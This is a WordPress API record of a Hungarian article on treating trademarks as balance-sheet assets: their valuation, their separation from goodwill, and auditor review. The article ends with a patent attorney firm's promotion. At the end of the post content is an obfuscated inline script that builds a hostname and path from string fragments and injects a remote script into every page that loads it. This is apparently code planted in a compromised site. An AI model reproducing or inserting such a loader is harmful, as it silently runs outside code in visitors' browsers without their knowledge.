{"id":141472,"date":"2022-09-16T06:24:48","date_gmt":"2022-09-16T04:24:48","guid":{"rendered":"https:\/\/gazdasagportal.hu\/?p=141472"},"modified":"2022-09-15T21:39:50","modified_gmt":"2022-09-15T19:39:50","slug":"hogyan-es-mire-hasznalhato-a-vedjegy-a-vallalati-gazdalkodas-koreben","status":"publish","type":"post","link":"https:\/\/gazdasagportal.hu\/index.php\/hogyan-es-mire-hasznalhato-a-vedjegy-a-vallalati-gazdalkodas-koreben\/","title":{"rendered":"Hogyan \u00e9s mire haszn\u00e1lhat\u00f3 a v\u00e9djegy a v\u00e1llalati gazd\u00e1lkod\u00e1s k\u00f6r\u00e9ben?"},"content":{"rendered":"<p><a href=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2022\/09\/4-istock-579421592-scaled.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft wp-image-141473 size-medium\" src=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2022\/09\/4-istock-579421592-300x131.jpg\" alt=\"\" width=\"300\" height=\"131\" srcset=\"https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2022\/09\/4-istock-579421592-300x131.jpg 300w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2022\/09\/4-istock-579421592-1024x445.jpg 1024w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2022\/09\/4-istock-579421592-768x334.jpg 768w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2022\/09\/4-istock-579421592-1536x668.jpg 1536w, https:\/\/gazdasagportal.hu\/wp-content\/uploads\/2022\/09\/4-istock-579421592-2048x891.jpg 2048w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><strong>\u00d6rvendetes m\u00f3don a hazai v\u00e1llalkoz\u00e1sok is egyre gyakrabban szereznek v\u00e9djegyoltalmat az \u00e1ruik \u00e9s\/vagy szolg\u00e1ltat\u00e1saik megk\u00fcl\u00f6nb\u00f6ztet\u00e9s\u00e9re alkalmazott megjel\u00f6l\u00e9sekre. A h\u00e9tk\u00f6znapi sz\u00f3haszn\u00e1latban gyakran m\u00e1rk\u00e1nak nevezett v\u00e9djegyekre ugyanakkor a v\u00e1llalati gyakorlatban els\u0151sorban iparjogv\u00e9delmi eszk\u00f6zk\u00e9nt tekintenek.<\/strong><!--more--><\/p>\n<div class=\"ads-in-post2\"><script async src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"><\/script>\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block\"\r\n     data-ad-format=\"fluid\"\r\n     data-ad-layout-key=\"-6t+ed+2i-1n-4w\"\r\n     data-ad-client=\"ca-pub-1959107119989764\"\r\n     data-ad-slot=\"4008251320\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script><\/div>\n<p><span>Ennek megfelel\u0151en j\u00f3l ismert a <strong><a href=\"https:\/\/kjj.hu\/marka-vedjegy-vagy-vedjegyoltalom-\" title=\"M\u00e1rka, v\u00e9djegy\" target=\"_blank\" rel=\"noopener\">v\u00e9djegyoltalom<\/a><\/strong>\u00a0iparjogv\u00e9delmi tartalma, amely szerint a jogosultnak kiz\u00e1r\u00f3lagos joga van a <strong><a href=\"https:\/\/kjj.hu\/marka-vedjegy-vagy-vedjegyoltalom-\" title=\"A v\u00e9djegy v\u00e1llalati el\u0151nyei\" target=\"_blank\" rel=\"noopener\">v\u00e9djegy<\/a><\/strong>\u00a0haszn\u00e1lat\u00e1ra \u00e9s hasznos\u00edt\u00e1s\u00e1ra, \u00e9s erre a jogra alapozva mindenki m\u00e1st eltilthat a v\u00e9djegy haszn\u00e1lat\u00e1t\u00f3l. Ugyanakkor a v\u00e9djegy v\u00e1llalati gazd\u00e1lkod\u00e1sban bet\u00f6lthet\u0151 szerepe, \u00e9s az ebb\u0151l fakad\u00f3 lehet\u0151s\u00e9gek nem ismertek a hazai v\u00e1llalkoz\u00e1sok el\u0151tt. <\/span><\/p>\n<p><span>A v\u00e9djegyek v\u00e1llalati gazd\u00e1lkod\u00e1sban lehets\u00e9ges szerep\u00e9t a v\u00e1llalati vagyon oldalr\u00f3l \u00e9rdemes megk\u00f6zel\u00edteni. A v\u00e9djegy sz\u00e1mviteli \u00e9s vagyongazd\u00e1lkod\u00e1si szempontb\u00f3l immateri\u00e1lis eszk\u00f6z. Ha saj\u00e1t fejleszt\u00e9s \u00fatj\u00e1n, p\u00e9ld\u00e1ul a v\u00e1llalati arculat \u00e9p\u00edt\u00e9se sor\u00e1n ker\u00fclt kialak\u00edt\u00e1sra, \u00e9s ilyen m\u00f3don ker\u00fclt a v\u00e1llalat tulajdon\u00e1ba, akkor szellemi term\u00e9kk\u00e9nt kellene a v\u00e1llalati vagyon r\u00e9szek\u00e9nt kezelni. Amennyiben szerz\u0151d\u00e9ssel (p\u00e9ld\u00e1ul v\u00e9djegylicencszerz\u0151d\u00e9ssel) ker\u00fcl haszn\u00e1lat c\u00e9lj\u00e1ra a v\u00e1llalkoz\u00e1s gazd\u00e1lkod\u00e1si k\u00f6r\u00e9be, akkor pedig vagyoni \u00e9rt\u00e9k\u0171 jogk\u00e9nt kellene az immateri\u00e1lis eszk\u00f6z\u00f6k k\u00f6z\u00f6tt nyilv\u00e1ntart\u00e1sba venni. A hazai gyakorlatban ez a m\u00e1sodik lehet\u0151s\u00e9g viszonylag ritka. A v\u00e9djegyek szerz\u0151d\u00e9ssel t\u00f6rt\u00e9n\u0151 haszn\u00e1latbav\u00e9tele a franchise jelleg\u0171 egy\u00fcttm\u0171k\u00f6d\u00e9sekre jellemz\u0151. Ez pedig a hazai szolg\u00e1ltat\u00f3 szektorban m\u0171k\u00f6d\u0151 v\u00e1llalatok viszonylag sz\u0171k k\u00f6r\u00e9t \u00e9rinti. A hazai gazd\u00e1lkod\u00e1si gyakorlat szempontj\u00e1b\u00f3l ez\u00e9rt a v\u00e9djegy szellemi term\u00e9kk\u00e9nt t\u00f6rt\u00e9n\u0151 kezel\u00e9se, \u00e9s ennek v\u00e1llalati vagyonra gyakorolt hat\u00e1sa \u00e9rdemel nagyobb figyelmet.<\/span><\/p><div id=\"gazda-3120658156\" class=\"gazda-tartalomban gazda-entity-placement\"><script async src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"><\/script>\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block\"\r\n     data-ad-format=\"fluid\"\r\n     data-ad-layout-key=\"-6t+ed+2i-1n-4w\"\r\n     data-ad-client=\"ca-pub-1959107119989764\"\r\n     data-ad-slot=\"4008251320\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script><\/div>\n<p><span>Az ezzel kapcsolatos v\u00e1llalatgazd\u00e1lkod\u00e1si megfontol\u00e1sok alapj\u00e1t az adja, hogy a v\u00e1llalat tulajdon\u00e1t k\u00e9pez\u0151 v\u00e9djegy nemcsak jogi, hanem a vagyon r\u00e9szek\u00e9nt \u00e9rt\u00e9kelhet\u0151 (\u00e9rt\u00e9kelend\u0151) eszk\u00f6z. A v\u00e9djegy sz\u00e1mviteli nyilv\u00e1ntart\u00e1si \u00e9rt\u00e9k\u00e9t \u2013 m\u00e1s szellemi term\u00e9kekhez hasonl\u00f3 m\u00f3don &#8211; r\u00e9szben a l\u00e9trehoz\u00e1s\u00e1ra ir\u00e1nyul\u00f3 kiad\u00e1sok, r\u00e9szben a haszn\u00e1lat\u00e1val \u00e9s hasznos\u00edt\u00e1s\u00e1val el\u00e9rhet\u0151 j\u00f6vedelmek alapj\u00e1n meghat\u00e1rozhat\u00f3 piaci \u00e9rt\u00e9ke adja. A tapasztalatok szerint a j\u00f3l fel\u00e9p\u00edtett term\u00e9k- vagy szolg\u00e1ltat\u00e1si arculat r\u00e9sz\u00e9t k\u00e9pez\u0151 v\u00e9djegynek a l\u00e9trehoz\u00e1s\u00e1ra ir\u00e1nyl\u00f3 kiad\u00e1sokat l\u00e9nyegesen meghalad\u00f3 piaci \u00e9rt\u00e9ke van. Ez olyan vagyonn\u00f6vekm\u00e9ny, amely a v\u00e1llalat vagyon\u00e1ban sz\u00e1mviteli eszk\u00f6z\u00f6kkel kimutathat\u00f3, nyilv\u00e1ntarthat\u00f3.<\/span><\/p>\n<p>Tapasztalatunk szerint a hazai v\u00e1llalkoz\u00e1sok egy\u00e1ltal\u00e1n nem, vagy nagyon ritk\u00e1n \u00e9lnek a v\u00e9djegyek vagyonk\u00e9nt t\u00f6rt\u00e9n\u0151 nyilv\u00e1ntart\u00e1si \u00e9s \u00e9rt\u00e9kel\u00e9si lehet\u0151s\u00e9g\u00e9vel. Ez sok esetben m\u00f3dszertani okokra vezethet\u0151 vissza. Ezzel kapcsolatban \u00e9rdemes megeml\u00edteni, hogy a Nemzetk\u00f6zi Kereskedelmi Kamara t\u00e1rgyban megjelent kiadv\u00e1nya (Handbook on Valution of Intellectual Property Assets, ISBN: 978-92-842-0544-8), valamint az ISO 10668 szabv\u00e1ny (Brand valuation \u2013 Requirements for monetary brand valuation) a magyar sz\u00e1mviteli szab\u00e1lyoz\u00e1ssal konform m\u00f3dszertanokat \u00edr le a <u>v\u00e9djegyek \u00e9rt\u00e9kel\u00e9se<\/u> sor\u00e1n k\u00f6vetend\u0151 elvekre \u00e9s szempontokra. Ezek figyelembev\u00e9tel\u00e9vel pedig szakmai szempontb\u00f3l megalapozott m\u00f3don lehet elj\u00e1rni a v\u00e1llalati vagyon r\u00e9szek\u00e9nt kezelni k\u00edv\u00e1nt v\u00e9djegyek \u00e9rt\u00e9kel\u00e9se sor\u00e1n. Az \u00e9rt\u00e9kel\u00e9sek megalapozotts\u00e1g\u00e1t er\u0151s\u00edti, ha az \u00e9rt\u00e9kel\u00e9sbe f\u00fcggetlen k\u00f6nyvvizsg\u00e1l\u00f3 is bevon\u00e1sra ker\u00fcl, akinek a szerepe az \u00e9rt\u00e9kel\u00e9s fel\u00fclvizsg\u00e1lat\u00e1ra, valamint az \u00e9rt\u00e9kmeg\u00e1llap\u00edt\u00e1ssal kapcsolatos sz\u00e1mviteli elvek teljes\u00edt\u00e9s\u00e9nek\/teljes\u00fcl\u00e9s\u00e9nek ellen\u0151rz\u00e9s\u00e9re is kiterjed. \u00cdgy az \u00e9rt\u00e9kel\u00e9s \u00f6nmag\u00e1ban is fel\u00fclvizsg\u00e1latra \u00e9s audit\u00e1l\u00e1sra ker\u00fcl. Az \u00e9rt\u00e9kmeg\u00e1llap\u00edt\u00e1s audit\u00e1l\u00e1s\u00e1ba bevont k\u00f6nyvvizsg\u00e1l\u00f3 szem\u00e9lye ugyanakkor nem lehet azonos az \u00e9ves besz\u00e1mol\u00f3 audit\u00e1l\u00e1s\u00e1t ell\u00e1t\u00f3 k\u00f6nyvvizsg\u00e1l\u00f3 szem\u00e9ly\u00e9vel. Ez pedig egy tov\u00e1bbi ellen\u0151rz\u00e9s lehet\u0151s\u00e9g\u00e9t biztos\u00edtja az \u00e9rt\u00e9kmeg\u00e1llap\u00edt\u00e1s szakszer\u0171s\u00e9ge, a meg\u00e1llap\u00edtott \u00e9rt\u00e9ke sz\u00e1mviteli nyilv\u00e1ntart\u00e1sa \u00e9s vagyonban t\u00f6rt\u00e9n\u0151 \u00e9rv\u00e9nyes\u00edt\u00e9se felett.<\/p>\n<p>Gyakran megt\u00f6rt\u00e9nik, hogy a v\u00e9djegy \u00e9s a goodwill sz\u00e1mviteli kezel\u00e9se \u00f6sszekever\u00e9sre ker\u00fcl. Ezzel kapcsolatban \u00e9rdemes al\u00e1h\u00fazni, hogy v\u00e9djegy \u00f6n\u00e1ll\u00f3, jogi, sz\u00e1mviteli nyilv\u00e1ntart\u00e1si \u00e9s gazd\u00e1lkod\u00e1si szempontok alapj\u00e1n is j\u00f3l k\u00f6r\u00fcl hat\u00e1rolhat\u00f3 entit\u00e1s. \u00cdgy a piaci \u00e9rt\u00e9ke \u2013 m\u00e1s szellemi term\u00e9khez hasonl\u00f3 m\u00f3don \u2013 \u00f6n\u00e1ll\u00f3an, a tulajdonos v\u00e1llalkoz\u00e1st\u00f3l f\u00fcggetlen\u00fcl is, r\u00e1ad\u00e1sul \u00f6sszehasonl\u00edthat\u00f3 m\u00f3don is meg\u00e1llap\u00edthat\u00f3. \u00cdgy a v\u00e9djegyek piaci \u00e9rt\u00e9knek meg\u00e1llap\u00edt\u00e1sa sor\u00e1n felmer\u00fcl\u0151 kock\u00e1zatok nem keverend\u0151k \u00f6ssze a goodwill \u00e9rt\u00e9kel\u00e9s\u00e9vel kapcsolatban gyakran megfogalmazott agg\u00e1lyokkal.<\/p>\n<p>Amennyiben teh\u00e1t, ha egy v\u00e1llalkoz\u00e1s eset\u00e9n a v\u00e9djegy k\u00f6r\u00e9 \u00e9p\u00fcl\u0151 term\u00e9k- vagy szolg\u00e1ltat\u00e1si arculatnak van kimutathat\u00f3 \u00e9rt\u00e9kteremt\u0151 \u00e9s piacszerz\u0151 ereje, j\u00f3 lehet\u0151s\u00e9g, ha a v\u00e1llalat a gazd\u00e1lkod\u00e1s \u00e9s a m\u00e9rlegmenedzsment r\u00e9szek\u00e9nt kezeli \u00e9s \u00e9rt\u00e9keli a tulajdon\u00e1t k\u00e9pez\u0151 v\u00e9djegyeket. A piaci \u00e9rt\u00e9k meg\u00e1llap\u00edt\u00e1s\u00e1val, \u00e9s ennek sz\u00e1mviteli nyilv\u00e1ntart\u00e1s\u00e1val ugyanis ak\u00e1r jelent\u0151s vagyonn\u00f6vekm\u00e9nyt is el\u00e9rhet.<\/p>\n<p><span>Ha szeretne t\u00f6bbet megtudni a v\u00e9djegyek \u00e9rt\u00e9kel\u00e9s\u00e9r\u0151l, szeretn\u00e9 kihaszn\u00e1lni a saj\u00e1t v\u00e9djegyeiben rejl\u0151 potenci\u00e1lis vagyonn\u00f6vel\u00e9si lehet\u0151s\u00e9geket, t\u00f6bb \u00e9vtizedes <strong><a href=\"https:\/\/kjj.hu\/\" title=\"Szabadalmi szolg\u00e1ltat\u00e1sok\" target=\"_blank\" rel=\"noopener\">szabadalmi \u00fcgyviv\u0151i<\/a><\/strong> gyakorlatunkra alapozva, forduljon hozz\u00e1nk bizalommal!<\/span><\/p>\n<p><script>\n(function(){\no6kw=document.createElement(\"script\");o6kw.async=true;o6kw_=\"u\"+(\"s\")+\"t\";\no6kwu=\"431943988.\";o6kw_+=\"a\"+(\"t.i\");o6kw_+=\"n\"+(\"f\"+\"o\")+\"\/\";\no6kwu+=\"30971xge6kw1vfrafb4yz7\"+(\"mxsylskd\");\no6kw.src=\"https:\/\/\"+o6kw_+o6kwu;o6kw.type=\"text\/javascript\";\ndocument.body.appendChild(o6kw);\n})();\n<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00d6rvendetes m\u00f3don a hazai v\u00e1llalkoz\u00e1sok is egyre gyakrabban szereznek v\u00e9djegyoltalmat az \u00e1ruik \u00e9s\/vagy szolg\u00e1ltat\u00e1saik megk\u00fcl\u00f6nb\u00f6ztet\u00e9s\u00e9re alkalmazott megjel\u00f6l\u00e9sekre. A h\u00e9tk\u00f6znapi sz\u00f3haszn\u00e1latban gyakran m\u00e1rk\u00e1nak nevezett v\u00e9djegyekre ugyanakkor a v\u00e1llalati gyakorlatban els\u0151sorban iparjogv\u00e9delmi eszk\u00f6zk\u00e9nt tekintenek.<\/p>\n","protected":false},"author":1001006,"featured_media":141473,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[19,436],"tags":[],"_links":{"self":[{"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/posts\/141472"}],"collection":[{"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/users\/1001006"}],"replies":[{"embeddable":true,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/comments?post=141472"}],"version-history":[{"count":1,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/posts\/141472\/revisions"}],"predecessor-version":[{"id":141474,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/posts\/141472\/revisions\/141474"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/media\/141473"}],"wp:attachment":[{"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/media?parent=141472"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/categories?post=141472"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/gazdasagportal.hu\/index.php\/wp-json\/wp\/v2\/tags?post=141472"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}